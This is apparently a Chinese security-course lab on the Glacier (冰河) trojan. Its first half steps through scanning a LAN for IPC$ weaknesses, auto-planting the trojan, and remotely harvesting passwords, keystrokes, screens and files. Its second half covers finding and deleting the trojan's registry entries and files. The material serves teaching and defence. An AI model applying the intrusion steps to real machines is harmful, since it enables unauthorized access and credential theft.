通过手动删除木马,掌握检查木马和删除木马的技巧,学会防御木马的相关知识,加深对木马的安全防范意识。 【实训环境】 (1) 扫描端口工具: 20CN IPC扫描器; 木马程序: 冰河ROSE版。 (2) 局域网环境,PC若干台。 【实训内容】 1. 入侵实验 (1) 扫描网络中的IPC$漏洞并植入木马,打开扫描器,如图352所示。 图352打开20CN IPC扫描器 (2) 设置扫描的IP开始地址和结束地址,如图353所示。 图353设置扫描地址 例如,扫描IP地址在192.168.3.20至192.168.3.50这一区间内的主机,设置“步进”为1,逐个扫描主机,“线程数”默认为64,“线程时延”默认为50。选择要植入的木马程序,选择“冰河木马”。扫描过程显示每个IP的扫描结果。扫描完成后会自动植入有IPC$漏洞的主机,接下来就可以控制了。 2. 连接登录远程主机 (1) 打开冰河木马程序客户端,选择“文件”|“搜索计算机”菜单命令,设置“起始域”“起始地址”和“终止地址”,进行以下设置,监听端口、延迟选择默认值,如图354所示。 图354木马客户端 (2) 搜索结果如图355左侧所示,在192.168.3.28和192.168.3.29前面是OK表示可以连接,其他主机都是ERR表示不能建立连接。或者选择“文件”|“添加计算机”菜单命令,在弹出对话框中输入扫描并已植入木马的远程主机IP,“访问口令”为空,“监听端口”默认为7626,如图355所示。 图355设置地址和端口 (3) 当出现192.168.3.28和192.168.3.29两台远程主机的IP时,表示可以与这两台主机连接,如图355所示。 3. 控制操纵远程主机 (1) 单击主机的IP地址,并与它建立连接,选择192.168.3.28,如图356所示。右边出现该主机的盘符,单击可以打开查看,并且可以下载其中的文件保存到本机。 图356建立连接 (2) 单击命令控制台,可以进一步控制主机,如图357所示。左边出现口令类命令、控制类命令、网络类命令、文件类命令、注册表读写、设置类命令。 图357控制主机 ① 口令类命令,分系统信息及口令、历史口令和击键记录。系统信息及口令如图358所示。 图358口令类命令 有4个按钮,可以查看远程主机的系统信息,包括其详细配置情况、系统设置、各盘符的使用情况等,还可以获取开机口令、缓存口令和其他口令。 ② 控制类命令,分捕获屏幕、发送信息、进程管理、窗口管理、系统控制、鼠标控制及其他控制。捕获界面如图359所示。 图359控制类命令 屏幕控制可以查看远程主机的屏幕,掌握远程主机上的一举一动,还可以根据网络情况制定不同的传送方案。发送信息界面如图360所示。 图360远程主机界面 可以向被控制的主机发送一条消息,在远程主机将跳出一个窗口,如图360中间所示,本机上可以设置跳出窗口的标题、图标类型(提示、警告、通知)、信息正文、按键类型(确定、取消、忽略、调试)。控制进程界面如图361所示。 图361控制进程界面 ③ 网络类命令有创建共享、删除共享、网络信息,如图362所示。 图362网络类命令 创建共享可以把远程主机上的文件设为共享并设定共享名。删除共享则把远程主机上的共享删除,消除入侵痕迹。网络信息可查看远程主机的网络连接等信息。 ④ 文件类命令,修改远程主机的文件信息。 ⑤ 注册表读写,修改远程主机的注册表信息。 ⑥ 设置类命令,设置远程主机的一些配置。 4. 查杀木马 当机器无故经常重启、口令信息泄露、桌面不正常时,就可能感染了木马程序病毒,需要进行杀毒。 (1) 判断是否存在木马。一般病毒都要修改注册表,可以在注册表中查看到木马的痕迹。单击“开始”|“运行”命令,输入regedit,这样就进入了注册表编辑器。 依次打开子键目录HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windwos\CurrentVersion \Run,如图363所示。 图363子键目录 (2) 在目录中发现第一项的数据C:\Windows\system32\kernel32.exe,kernel32.exe就是冰河木马程序在注册表中加入的键值,将该项删除。 打开HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windwos\CurrentVersion\RunOnce,如图364所示。 图364删除kernel32.exe键值 (3) 在目录中也发现了一个键值C:\Windows\system32\kernel32.exe,将其删除。Run和RunOnce中存放的键值是系统启动的程序。 一般的病毒、木马、后门等都是存放在这些子键目录下,所以要经常检查这些子键目录下的程序,如有不明程序,则要认真检查。删掉其在注册表中的启动项后,再删除病毒源文件。 打开C:\Windows\system32,找到kernel32.exe程序将其删除,如图365所示。 (4) 打开C:\Windwos\system32,找到Sysexplr.exe将其删除,如图366所示。之后重启,冰河木马就彻底被删除掉了。 (5) 在控制端再用冰河木马搜索可连接主机,如图367所示,可以发现已经搜索不到192.168.3.28主机了,而另一台192.168.3.29主机仍旧是可连接的。 图365删除kernel32.exe文件 图366删除Sysexplr.exe文件 图367搜索可连接主机